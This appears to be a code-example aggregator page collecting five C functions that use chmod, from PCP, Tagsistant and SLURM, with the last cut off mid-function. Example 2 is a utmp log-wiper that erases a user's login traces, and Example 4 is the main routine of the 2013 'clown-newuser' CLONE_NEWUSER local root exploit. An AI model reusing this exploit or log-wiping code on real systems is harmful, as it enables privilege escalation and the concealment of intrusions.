Exemplo n.º 1
1
/*
 * Create socket for incoming connections and bind to it an address for
 * clients to use.  Returns -1 on failure.
 *
 * If '*family' is AF_UNIX and unix domain sockets are supported:
 * 'port' is ignored and 'address' is the path to the socket file in the filesystem.
 *
 * Otherwise:
 * address is a string representing the Inet/IPv6 address that the port
 * is advertised for.  To allow connections to all this host's internet
 * addresses from clients use address == "INADDR_ANY", or for localhost
 * access only use address == "INADDR_LOOPBACK".
 * On input, 'family' is a pointer to the address family to use (AF_INET,
 * AF_INET6) if the address specified is empty.  If the spec is not
 * empty then family is ignored and is set to the actual address family
 * used. 'family' must be initialized to AF_UNSPEC, in this case.
 */
static int
OpenRequestSocket(int port, const char *address, int *family,
		  int backlog, __pmFdSet *fdset, int *maximum)
{
    int			fd = -1;
    int			one, sts;
    __pmSockAddr	*myAddr;
    int			isUnix = 0;

    /*
     * Using this flag will eliminate the need for more conditional
     * compilation below, hopefully making the code easier to read and maintain.
     */
#if defined(HAVE_STRUCT_SOCKADDR_UN)
    if (*family == AF_UNIX)
	isUnix = 1;
#endif

    if (isUnix) {
	if ((myAddr = __pmSockAddrAlloc()) == NULL) {
	    __pmNoMem("OpenRequestSocket: can't allocate socket address",
		      sizeof(*myAddr), PM_FATAL_ERR);
	}

	/* Initialize the address. */
	__pmSockAddrSetFamily(myAddr, *family);
	__pmSockAddrSetPath(myAddr, address);

	/* Create the socket. */
	fd = __pmCreateUnixSocket();
    }
    else {
	/*
	 * If the address is unspecified, then use the address family we
	 * have been given, otherwise the family will be determined by
	 * __pmStringToSockAddr.
	 */
	if (address == NULL || strcmp(address, "INADDR_ANY") == 0) {
	    if ((myAddr = __pmSockAddrAlloc()) == NULL) {
		__pmNoMem("OpenRequestSocket: can't allocate socket address",
			  sizeof(*myAddr), PM_FATAL_ERR);
	    }
	    __pmSockAddrInit(myAddr, *family, INADDR_ANY, 0);
	}
	else if (strcmp(address, "INADDR_LOOPBACK") == 0) {
	    if ((myAddr = __pmSockAddrAlloc()) == NULL) {
		__pmNoMem("OpenRequestSocket: can't allocate socket address",
			  sizeof(*myAddr), PM_FATAL_ERR);
	    }
	    __pmSockAddrInit(myAddr, *family, INADDR_LOOPBACK, 0);
	}
	else {
	    if ((myAddr = __pmStringToSockAddr(address)) == NULL) {
		__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s) invalid address\n",
			      port, address);
		goto fail;
	    }
	    *family = __pmSockAddrGetFamily(myAddr);
	}
	__pmSockAddrSetPort(myAddr, port);

	/* Create the socket. */
	if (*family == AF_INET)
	    fd = __pmCreateSocket();
	else if (*family == AF_INET6)
	    fd = __pmCreateIPv6Socket();
	else {
	    __pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s) invalid address family: %d\n",
			  port, address, *family);
	    goto fail;
	}
    }

    if (fd < 0) {
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmCreateSocket: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    /* Ignore dead client connections. */
    one = 1;
#ifndef IS_MINGW
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&one,
		       (__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		      "OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(SO_REUSEADDR): %s\n",
		      port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }
#else
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_EXCLUSIVEADDRUSE, (char *)&one,
		       (__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		      "OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(EXCLUSIVEADDRUSE): %s\n",
		      port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }
#endif

    /* and keep alive please - bad networks eat fds */
    if (__pmSetSockOpt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *)&one,
		(__pmSockLen)sizeof(one)) < 0) {
	__pmNotifyErr(LOG_ERR,
		"OpenRequestSocket(%d, %s, %s) __pmSetSockOpt(SO_KEEPALIVE): %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    sts = __pmBind(fd, (void *)myAddr, __pmSockAddrSize());
    __pmSockAddrFree(myAddr);
    myAddr = NULL;
    if (sts < 0) {
	sts = neterror();
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmBind: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	if (sts == EADDRINUSE)
	    __pmNotifyErr(LOG_ERR, "%s may already be running\n", pmProgname);
	goto fail;
    }

    if (isUnix) {
	/*
	 * For unix domain sockets, grant rw access to the socket for all,
	 * otherwise, on linux platforms, connection will not be possible.
	 * This must be done AFTER binding the address. See Unix(7) for details.
	 */
	sts = chmod(address, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
	if (sts != 0) {
	    __pmNotifyErr(LOG_ERR,
		"OpenRequestSocket(%d, %s, %s) chmod(%s): %s\n",
		port, address, AddressFamily(*family), address, strerror(errno));
	    goto fail;
	}
    }

    sts = __pmListen(fd, backlog);	/* Max. pending connection requests */
    if (sts < 0) {
	__pmNotifyErr(LOG_ERR, "OpenRequestSocket(%d, %s, %s) __pmListen: %s\n",
		port, address, AddressFamily(*family), netstrerror());
	goto fail;
    }

    if (fd > *maximum)
	*maximum = fd;
    __pmFD_SET(fd, fdset);
    return fd;

fail:
    if (fd != -1) {
        __pmCloseSocket(fd);
	/* We must unlink the socket file. */
	if (isUnix)
	    unlink(address);
    }
    if (myAddr)
        __pmSockAddrFree(myAddr);
    return -1;
}
Exemplo n.º 2
0
void wipe_utmp(char *username, char *tty)
{
  int match;			/* PROG: matching flag            */
  int newfd;			/* PROG: new UTMP file descriptor */
  int utmpfd;			/* PROG: UTMP file descriptor     */
  struct utmp ut_utmp;		/* PROG: utmp entry information   */
  struct stat st_stat;		/* PROG: file statistics          */
  struct fstats fstats;		/* PROG: saved file statistics    */

  /*
   * open UTMP file and get file attributes
   */

  if((utmpfd = open(_PATH_UTMP, O_RDONLY)) < 0) {
    printf("ERROR: unable to open() utmp\n");
    return;
  }

  if(fstat(utmpfd, &st_stat) < 0) {
    printf("ERROR: unable to stat() utmp\n");
    return;
  }

  fstats.uid = st_stat.st_uid;
  fstats.gid = st_stat.st_gid;
  fstats.mode = st_stat.st_mode;
  fstats.time.actime = st_stat.st_atime;
  fstats.time.modtime = st_stat.st_mtime;

  /*
   * open temporary UTMP file
   */

  if((newfd = open("/tmp/.nutmp", O_CREAT | O_WRONLY, 0600)) < 0) {
    printf("ERROR: unable to open() temporary utmp\n");
    return;
  }

  /*
   * traverse through UTMP, looking for removable entries
   */

  printf("removing '%s' from UTMP\t: ....................", username);

  for(match = 0; read(utmpfd, &ut_utmp, sizeof(ut_utmp)) > 0; match = 0) {
   
    if(!strcmp(ut_utmp.ut_name, username))
      match = 1;

    if(tty)
      if(match && !strcmp(ut_utmp.ut_line, tty))
        continue;

    if(match && !tty)
      continue;

    write(newfd, &ut_utmp, sizeof(ut_utmp));
  }

  /*
   * wipe original UTMP file
   */

  close(utmpfd);
  wipe(_PATH_UTMP);

  puts(" complete");

  /*
   * replace new UTMP with old UTMP and set file attributes
   */

  rename("/tmp/.nutmp", _PATH_UTMP);

  utime(_PATH_UTMP, &fstats.time);
  chmod(_PATH_UTMP, fstats.mode);
  chown(_PATH_UTMP, fstats.uid, fstats.gid);

  close(newfd);
}
Exemplo n.º 3
0
/**
 * Tagsistant main function, where everything starts...
 *
 * @param argc command line argument number
 * @param argv command line argument list
 * @return 0 when unmounted, a positive error number if something prevents the mount
 */
int main(int argc, char *argv[])
{
    struct fuse_args args = { 0, NULL, 0 };
	int res;

#ifndef MACOSX
	char *destfile = getenv("MALLOC_TRACE");
	if (destfile != NULL && strlen(destfile)) {
		fprintf(stderr, "\n *** logging g_malloc() calls to %s ***\n", destfile);
		mtrace();
	}
#endif

	/*
	 * set some values inside tagsistant context structure
	 */
	tagsistant.progname = argv[0];
	tagsistant.debug = FALSE;

	/*
	 * zero all the debug options
	 */
	int i = 0;
	for (; i < 128; i++) tagsistant.dbg[i] = 0;

	/*
	 * parse command line options
	 */
	GError *error = NULL;
	GOptionContext *context = g_option_context_new ("[repository path] <mount point>");
	g_option_context_add_main_entries (context, tagsistant_options, NULL);
	g_option_context_set_help_enabled (context, FALSE);
	if (!g_option_context_parse (context, &argc, &argv, &error)) {
		fprintf(stderr, "\n *** option parsing failed: %s\n", error->message);
		exit (1);
	}

	/*
	 * print the help screen
	 */
	if (tagsistant.show_help) {
		tagsistant_usage(argv[0], tagsistant.verbose);

		if (tagsistant.verbose) {
			fuse_opt_add_arg(&args, argv[0]);
			fuse_opt_add_arg(&args, "--help");
			tagsistant_fuse_main(&args, &tagsistant_oper);
		}

		exit(0);
	}

	/*
	 * show Tagsistant and FUSE version
	 */
	if (tagsistant.show_version) {
		fprintf(stderr, "Tagsistant (tagfs) v.%s (codename: %s)\nBuild: %s FUSE_USE_VERSION: %d\n",
			PACKAGE_VERSION, TAGSISTANT_CODENAME, TAGSISTANT_BUILDNUMBER, FUSE_USE_VERSION);

		fuse_opt_add_arg(&args, "-V");
		fuse_opt_add_arg(&args, "--version");
		tagsistant_fuse_main(&args, &tagsistant_oper);

		exit(0);
	}

	/*
	 * look for a mount point (and a repository too)
	 */
	if (tagsistant.remaining_opts && *tagsistant.remaining_opts) {
		if (tagsistant.remaining_opts[1] && *(tagsistant.remaining_opts[1])) {
			tagsistant.repository = *tagsistant.remaining_opts;
			tagsistant.mountpoint = *(tagsistant.remaining_opts + 1);

			// fprintf(stderr, "\n *** repository %s *** \n\n", tagsistant.repository);
			// fprintf(stderr, "\n *** mountpoint %s *** \n\n", tagsistant.mountpoint);
		} else {
			tagsistant.mountpoint = *tagsistant.remaining_opts;

			// fprintf(stderr, "\n *** mountpoint %s *** \n\n", tagsistant.mountpoint);
		}
	} else {
		fprintf(stderr, "\n *** No mountpoint provided *** \n");
		tagsistant_usage(argv[0], 0);
		exit(2);
	}

	/*
	 * default repository
	 */
	if (!tagsistant.repository) {
		tagsistant.repository = g_strdup_printf("%s/.tagsistant/", g_getenv("HOME"));
	}

	/*
	 * default tag-listing suffix
	 */
	if (!tagsistant.tags_suffix) {
		tagsistant.tags_suffix = g_strdup(TAGSISTANT_DEFAULT_TAGS_SUFFIX);
	}

	/*
	 * compute the triple tag detector regexp
	 */
	if (tagsistant.namespace_suffix) {
		tagsistant.triple_tag_regex = g_strdup_printf("\\%s$", tagsistant.namespace_suffix);
	} else {
		tagsistant.triple_tag_regex = g_strdup(TAGSISTANT_DEFAULT_TRIPLE_TAG_REGEX);
	}

	/* do some tuning on FUSE options */
//	fuse_opt_add_arg(&args, "-s");
//	fuse_opt_add_arg(&args, "-odirect_io");
	fuse_opt_add_arg(&args, "-obig_writes");
	fuse_opt_add_arg(&args, "-omax_write=32768");
	fuse_opt_add_arg(&args, "-omax_read=32768");
	fuse_opt_add_arg(&args, "-ofsname=tagsistant");
//	fuse_opt_add_arg(&args, "-ofstype=tagsistant");
//	fuse_opt_add_arg(&args, "-ouse_ino,readdir_ino");
//	fuse_opt_add_arg(&args, "-oallow_other");

#ifdef MACOSX
	fuse_opt_add_arg(&args, "-odefer_permissions");
	gchar *volname = g_strdup_printf("-ovolname=%s", tagsistant.mountpoint);
	fuse_opt_add_arg(&args, volname);
	g_free_null(volname);
#else
	/* fuse_opt_add_arg(&args, "-odefault_permissions"); */
#endif

	/*
	 * parse debugging flags
	 */
	if (tagsistant.debug_flags) {
		char *dbg_ptr = tagsistant.debug_flags;
		while (*dbg_ptr) {
			tagsistant.dbg[(int) *dbg_ptr] = 1;
			dbg_ptr++;
		}
	}

	/*
	 * Will run as a single threaded application?
	 */
	if (tagsistant.singlethread) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** operating in single thread mode ***\n");
		fuse_opt_add_arg(&args, "-s");
	}

	/*
	 * Will run readonly?
	 */
	if (tagsistant.readonly) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** mounting tagsistant read-only ***\n");
		fuse_opt_add_arg(&args, "-r");
	}

	/*
	 * Will run in foreground?
	 *
	 * A little explanation is required here. Many users reported tha autotagging
	 * does not work when Tagsistant is started without -f. FUSE -f switch just
	 * tells FUSE to not fork in the background. This means that Tagsistant keeps
	 * the console busy and never detaches. It's very useful for debugging but
	 * very annoying in everyday life. However when FUSE send Tagsistant in the
	 * background, something wrong happens with the scheduling of the autotagging
	 * thread. On the other hand, when the -f switch is used, autotagging works
	 * as expected.
	 *
	 * As a workaround, FUSE is always provided with the -f switch, while the
	 * background is reached by Tagsistant itself with a fork() call.
	 */
	fuse_opt_add_arg(&args, "-f");
	if (tagsistant.foreground) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** will run in foreground ***\n");
	}

	/*
	 * Will be verbose?
	 */
	if (tagsistant.verbose) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** will log verbosely ***\n");
		fuse_opt_add_arg(&args, "-d");
	}

	/*
	 * Have received DB options?
	 */
	if (tagsistant.dboptions) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** connecting to %s\n", tagsistant.dboptions);
	}

	/*
	 * The repository was provided?
	 */
	if (tagsistant.repository) {
		if (!tagsistant.quiet)
			fprintf(stderr, " *** saving repository in %s\n", tagsistant.repository);
	}

	/*
	 * add FUSE options
	 */
	gchar **fuse_opt = tagsistant.fuse_opts;
	while (fuse_opt && *fuse_opt) {
		fprintf(stderr, " *** Adding FUSE options %s\n", *fuse_opt);
		gchar *fuse_opt_string = g_strdup_printf("-o%s", *fuse_opt);
		fuse_opt_add_arg(&args, fuse_opt_string);
		fuse_opt++;
	}

	/*
	 * checking if mount point exists or can be created
	 */
	struct stat mst;
	if ((lstat(tagsistant.mountpoint, &mst) == -1) && (errno == ENOENT)) {
		if (mkdir(tagsistant.mountpoint, S_IRWXU|S_IRGRP|S_IXGRP) != 0) {
			// tagsistant_usage(tagsistant.progname);
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** Mountpoint %s does not exists and can't be created! ***\n", tagsistant.mountpoint);
			if (!tagsistant.show_config)
				exit(1);
		}
	}

	if (!tagsistant.quiet)
		fprintf(stderr, "\n"
		" Tagsistant (tagfs) v.%s (codename: %s)\n"
		" Build: %s FUSE_USE_VERSION: %d\n"
		" (c) 2006-2014 Tx0 <*****@*****.**>\n"
		" For license informations, see %s -h\n\n"
		, PACKAGE_VERSION, TAGSISTANT_CODENAME, TAGSISTANT_BUILDNUMBER
		, FUSE_USE_VERSION, tagsistant.progname
	);

	/* checking repository */
	if (!tagsistant.repository || (strcmp(tagsistant.repository, "") == 0)) {
		if (strlen(getenv("HOME"))) {
			g_free_null(tagsistant.repository);
			tagsistant.repository = g_strdup_printf("%s/.tagsistant", getenv("HOME"));
			if (!tagsistant.quiet)
				fprintf(stderr, " Using default repository %s\n", tagsistant.repository);
		} else {
			// tagsistant_usage(tagsistant.progname);
			if (!tagsistant.show_config) {
				if (!tagsistant.quiet)
					fprintf(stderr, "\n *** No repository provided with -r ***\n");
				exit(2);
			}
		}
	}

	/* removing last slash */
	int replength = strlen(tagsistant.repository) - 1;
	if (tagsistant.repository[replength] == '/') {
		tagsistant.repository[replength] = '\0';
	}

	/* checking if repository path begings with ~ */
	if (tagsistant.repository[0] == '~') {
		char *home_path = getenv("HOME");
		if (home_path != NULL) {
			char *relative_path = g_strdup(tagsistant.repository + 1);
			g_free_null(tagsistant.repository);
			tagsistant.repository = g_strdup_printf("%s%s", home_path, relative_path);
			g_free_null(relative_path);
			dbg('b', LOG_INFO, "Repository path is %s", tagsistant.repository);
		} else {
			dbg('b', LOG_ERR, "Repository path starts with '~', but $HOME was not available!");
		}
	} else 

	/* checking if repository is a relative path */
	if (tagsistant.repository[0] != '/') {
		dbg('b', LOG_ERR, "Repository path is relative [%s]", tagsistant.repository);
		char *cwd = getcwd(NULL, 0);
		if (cwd == NULL) {
			dbg('b', LOG_ERR, "Error getting working directory, will leave repository path as is");
		} else {
			gchar *absolute_repository = g_strdup_printf("%s/%s", cwd, tagsistant.repository);
			g_free_null(tagsistant.repository);
			tagsistant.repository = absolute_repository;
			dbg('b', LOG_ERR, "Repository path is %s", tagsistant.repository);
		}
	}

	struct stat repstat;
	if (lstat(tagsistant.repository, &repstat) == -1) {
		if(mkdir(tagsistant.repository, 755) == -1) {
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** REPOSITORY: Can't mkdir(%s): %s ***\n", tagsistant.repository, strerror(errno));
			exit(2);
		}
	}
	chmod(tagsistant.repository, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);

	/* opening (or creating) SQL tags database */
	tagsistant.tags = g_strdup_printf("%s/tags.sql", tagsistant.repository);

	/* tags.sql is also used by getattr() as a guaranteed file when asked for stats/ files */
	struct stat tags_st;
	if (-1 == stat(tagsistant.tags, &tags_st)) {
		int tags_fd = creat(tagsistant.tags, S_IRUSR|S_IWUSR);
		if (tags_fd) close(tags_fd);
	}

	/* checking file archive directory */
	tagsistant.archive = g_strdup_printf("%s/archive/", tagsistant.repository);

	if (lstat(tagsistant.archive, &repstat) == -1) {
		if(mkdir(tagsistant.archive, 755) == -1) {
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** ARCHIVE: Can't mkdir(%s): %s ***\n", tagsistant.archive, strerror(errno));
			exit(2);
		}
	}
	chmod(tagsistant.archive, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);

	dbg('b', LOG_INFO, "Debug is enabled: %s", tagsistant.debug ? "yes" : "no");

	umask(0);

#ifdef _DEBUG_SYSLOG
	tagsistant_init_syslog();
#endif

#if REGISTER_CLEANUP
	signal(2,  cleanup); /* SIGINT */
	signal(11, cleanup); /* SIGSEGV */
	signal(15, cleanup); /* SIGTERM */
#endif

#if !(GLIB_MAJOR_VERSION >= 2 && GLIB_MINOR_VERSION >= 32)
	/*
	 * init the threading library
	 */
	g_thread_init(NULL);
#endif

	/*
	 * load repository.ini
	 */
	tagsistant_manage_repository_ini();

	/*
	 * loading plugins
	 */
	tagsistant_plugin_loader();

	/*
	 * fix the archive
	 */
	tagsistant_fix_archive();

	dbg('b', LOG_INFO, "Mounting filesystem");

	dbg('b', LOG_INFO, "Fuse options:");
	int fargc = args.argc;
	while (fargc) {
		dbg('b', LOG_INFO, "%.2d: %s", fargc, args.argv[fargc]);
		fargc--;
	}

	/*
	 * Send Tagsistant in the background, if applies
	 */
	if (!tagsistant.foreground) {
		pid_t pid = fork();
		if (pid) {
			if (!tagsistant.quiet)
				fprintf(stderr, "\n *** going in the background (PID: %d) ***\n", pid);
			exit(0);
		}
	}

	/*
	 * initialize db connection, SQL schema,
	 * an other subsystems
	 */
	tagsistant_db_init();
	tagsistant_create_schema();
	tagsistant_wal_sync();
	tagsistant_path_resolution_init();
	tagsistant_reasoner_init();
	tagsistant_utils_init();
	tagsistant_deduplication_init();

	/* SQLite requires tagsistant to run in single thread mode */
	if (tagsistant.sql_database_driver == TAGSISTANT_DBI_SQLITE_BACKEND) {
		// tagsistant.singlethread = TRUE;
		// fuse_opt_add_arg(&args, "-s");
	}

	/*
	 * print configuration if requested
	 */
	if (tagsistant.show_config) tagsistant_show_config();

	/* add the mount point */
	fuse_opt_add_arg(&args, tagsistant.mountpoint);

#if HAVE_SYS_XATTR_H
	if (tagsistant.enable_xattr) {
		tagsistant_oper.setxattr    = tagsistant_setxattr;
		tagsistant_oper.getxattr    = tagsistant_getxattr;
		tagsistant_oper.listxattr   = tagsistant_listxattr;
		tagsistant_oper.removexattr = tagsistant_removexattr;
	}
#endif

	/*
	 * run FUSE main event loop
	 */
	res = tagsistant_fuse_main(&args, &tagsistant_oper);
	fuse_opt_free_args(&args);

	/*
	 * unloading plugins
	 */
	tagsistant_plugin_unloader();

	/* free memory to better perform memory leak profiling */
	g_free_null(tagsistant.dboptions);
	g_free_null(tagsistant.repository);
	g_free_null(tagsistant.archive);
	g_free_null(tagsistant.tags);

	return(res);
}
Exemplo n.º 4
0
int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	char uidmap[128], map_file[128];
	pid_t pid;
	struct stat st;
	int fd;


	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so 
from
		 * su process
		 */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), 
getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 
Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear ...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			usleep(1000);
		}
		execve(me, mee, environ);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n[*] Cloning evil child ...\n");

	if (pipe(go) < 0)
		die("[-] pipe");

	pid = clone(child, child_stack + sizeof(child_stack),
	            CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n[*] Creating UID mapping ...\n");

	snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
	if ((fd = open(map_file, O_RDWR)) < 0)
		die("[-] open");
	snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
	if (write(fd, uidmap, strlen(uidmap)) < 0)
		die("[-] write");
	close(fd);
	printf("[+] Done.\n");

	close(go[0]);
	write(go[1], "X", 1);

	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}
Exemplo n.º 5
0
extern int filetxt_jobacct_process_archive(slurmdb_archive_cond_t *arch_cond)
{
	char	line[BUFFER_SIZE],
		*f[EXPIRE_READ_LENGTH],
		*fptr = NULL,
		*logfile_name = NULL,
		*old_logfile_name = NULL,
		*filein = NULL,
		*object = NULL;
	int	file_err=0,
		new_file,
		i = 0,
		rc = SLURM_ERROR;
	expired_rec_t *exp_rec = NULL;
	expired_rec_t *exp_rec2 = NULL;
	List keep_list = list_create(_destroy_exp);
	List exp_list = list_create(_destroy_exp);
	List other_list = list_create(_destroy_exp);
	struct	stat statbuf;
	mode_t	prot = 0600;
	uid_t	uid;
	gid_t	gid;
	FILE	*expired_logfile = NULL,
		*new_logfile = NULL;
	FILE *fd = NULL;
	int lc=0;
	int rec_type = -1;
	ListIterator itr = NULL;
	ListIterator itr2 = NULL;
	slurmdb_job_cond_t *job_cond = NULL;

	/* Figure out our expiration date */
	time_t		expiry;

	if (!arch_cond || !arch_cond->job_cond) {
		error("no job_cond was given for archive");
		return SLURM_ERROR;
	}

	job_cond = arch_cond->job_cond;

	if (!arch_cond->archive_script)
		filein = slurm_get_accounting_storage_loc();
	else
		filein = arch_cond->archive_script;

	expiry = time(NULL) - job_cond->usage_end;

	debug("Purging jobs completed prior to %d", (int)expiry);

	/* Open the current or specified logfile, or quit */
	fd = _open_log_file(filein);
	if (stat(filein, &statbuf)) {
		perror("stat'ing logfile");
		goto finished;
	}
	if ((statbuf.st_mode & S_IFLNK) == S_IFLNK) {
		error("%s is a symbolic link; --expire requires "
		      "a hard-linked file name", filein);
		goto finished;
	}
	if (!(statbuf.st_mode & S_IFREG)) {
		error("%s is not a regular file; --expire "
			"only works on accounting log files",
			filein);
		goto finished;
	}
	prot = statbuf.st_mode & 0777;
	gid  = statbuf.st_gid;
	uid  = statbuf.st_uid;
	old_logfile_name = _prefix_filename(filein, ".old.");
	if (stat(old_logfile_name, &statbuf)) {
		if (errno != ENOENT) {
			fprintf(stderr,"Error checking for %s: ",
				old_logfile_name);
			perror("");
			goto finished;
		}
	} else {
		error("Warning! %s exists -- please remove "
			"or rename it before proceeding",
			old_logfile_name);
		goto finished;
	}

	/* create our initial buffer */
	while (fgets(line, BUFFER_SIZE, fd)) {
		lc++;
		fptr = line;	/* break the record into NULL-
				   terminated strings */
		exp_rec = xmalloc(sizeof(expired_rec_t));
		exp_rec->line = xstrdup(line);

		for (i = 0; i < EXPIRE_READ_LENGTH; i++) {
			f[i] = fptr;
			fptr = strstr(fptr, " ");
			if (fptr == NULL)
				break;
			else
				*fptr++ = 0;
		}

		exp_rec->job = atoi(f[F_JOB]);
		exp_rec->job_submit = atoi(f[F_JOB_SUBMIT]);

		rec_type = atoi(f[F_RECTYPE]);
		/* Odd, but complain some other time */
		if (rec_type == JOB_TERMINATED) {
			if (expiry < atoi(f[F_TIMESTAMP])) {
				list_append(keep_list, exp_rec);
				continue;
			}
			if ((rec_type == JOB_START) && job_cond->partition_list
			    && list_count(job_cond->partition_list)) {
				itr = list_iterator_create(
					job_cond->partition_list);
				while((object = list_next(itr)))
					if (!strcasecmp(f[F_PARTITION], object))
						break;

				list_iterator_destroy(itr);
				if (!object)
					continue;	/* no match */
			}

			list_append(exp_list, exp_rec);
			debug2("Selected: %8d %d",
			       exp_rec->job,
			       (int)exp_rec->job_submit);
		} else {
			list_append(other_list, exp_rec);
		}
	}
	if (!list_count(exp_list)) {
		debug3("No job records were purged.");
		goto finished;
	}
	logfile_name = xmalloc(strlen(filein)+sizeof(".expired"));
	sprintf(logfile_name, "%s.expired", filein);
	new_file = stat(logfile_name, &statbuf);
	if ((expired_logfile = fopen(logfile_name, "a"))==NULL) {
		error("Error while opening %s",
			logfile_name);
		perror("");
		xfree(logfile_name);
		goto finished;
	}

	if (new_file) {  /* By default, the expired file looks like the log */
		chmod(logfile_name, prot);
		if (chown(logfile_name, uid, gid) == -1)
			error("Couldn't change ownership of %s to %u:%u",
			      logfile_name, uid, gid);
	}
	xfree(logfile_name);

	logfile_name = _prefix_filename(filein, ".new.");
	if ((new_logfile = fopen(logfile_name, "w"))==NULL) {
		error("Error while opening %s",
			logfile_name);
		perror("");
		fclose(expired_logfile);
		goto finished;
	}
	chmod(logfile_name, prot);     /* preserve file protection */
	if (chown(logfile_name, uid, gid) == -1)/* and ownership */
		error("2 Couldn't change ownership of %s to %u:%u",
		      logfile_name, uid, gid);
	/* Use line buffering to allow us to safely write
	 * to the log file at the same time as slurmctld. */
	if (setvbuf(new_logfile, NULL, _IOLBF, 0)) {
		perror("setvbuf()");
		fclose(expired_logfile);
		goto finished2;
	}

	list_sort(exp_list, (ListCmpF) _cmp_jrec);
	list_sort(keep_list, (ListCmpF) _cmp_jrec);

	/* if (params->opt_verbose > 2) { */
/* 		error("--- contents of exp_list ---"); */
/* 		itr = list_iterator_create(exp_list); */
/* 		while((exp_rec = list_next(itr))) */
/* 			error("%d", exp_rec->job); */
/* 		error("---- end of exp_list ---"); */
/* 		list_iterator_destroy(itr); */
/* 	} */
	/* write the expired file */
	itr = list_iterator_create(exp_list);
	while((exp_rec = list_next(itr))) {
		itr2 = list_iterator_create(other_list);
		while((exp_rec2 = list_next(itr2))) {
			if ((exp_rec2->job != exp_rec->job)
			   || (exp_rec2->job_submit != exp_rec->job_submit))
				continue;
			if (fputs(exp_rec2->line, expired_logfile)<0) {
				perror("writing expired_logfile");
				list_iterator_destroy(itr2);
				list_iterator_destroy(itr);
				fclose(expired_logfile);
				goto finished2;
			}
			list_remove(itr2);
			_destroy_exp(exp_rec2);
		}
		list_iterator_destroy(itr2);
		if (fputs(exp_rec->line, expired_logfile)<0) {
			perror("writing expired_logfile");
			list_iterator_destroy(itr);
			fclose(expired_logfile);
			goto finished2;
		}
	}
	list_iterator_destroy(itr);
	fclose(expired_logfile);

	/* write the new log */
	itr = list_iterator_create(keep_list);
	while((exp_rec = list_next(itr))) {
		itr2 = list_iterator_create(other_list);
		while((exp_rec2 = list_next(itr2))) {
			if (exp_rec2->job != exp_rec->job)
				continue;
			if (fputs(exp_rec2->line, new_logfile)<0) {
				perror("writing keep_logfile");
				list_iterator_destroy(itr2);
				list_iterator_destroy(itr);
				goto finished2;
			}
			list_remove(itr2);
			_destroy_exp(exp_rec2);
		}
		list_iterator_destroy(itr2);
		if (fputs(exp_rec->line, new_logfile)<0) {
			perror("writing keep_logfile");
			list_iterator_destroy(itr);
			goto finished2;
		}
	}
	list_iterator_destroy(itr);

	/* write records in other_list to new log */
	itr = list_iterator_create(other_list);
	while((exp_rec = list_next(itr))) {
		if (fputs(exp_rec->line, new_logfile)<0) {
			perror("writing keep_logfile");
			list_iterator_destroy(itr);
			goto finished2;
		}
	}
	list_iterator_destroy(itr);

	if (rename(filein, old_logfile_name)) {
		perror("renaming logfile to .old.");
		goto finished2;
	}
	if (rename(logfile_name, filein)) {
		perror("renaming new logfile");
		/* undo it? */
		if (!rename(old_logfile_name, filein))
			error("Please correct the problem "
				"and try again");
		else
			error("SEVERE ERROR: Current accounting "
				"log may have been renamed %s;\n"
				"please rename it to \"%s\" if necessary, "
			        "and try again",
				old_logfile_name, filein);
		goto finished2;
	}
	fflush(new_logfile);	/* Flush the buffers before forking */
	fflush(fd);

	file_err = slurm_reconfigure();
	if (file_err) {
		file_err = 1;
		error("Error: Attempt to reconfigure SLURM failed.");
		if (rename(old_logfile_name, filein)) {
			perror("renaming logfile from .old.");
			goto finished2;
		}

	}
	if (fseek(fd, 0, SEEK_CUR)) {	/* clear EOF */
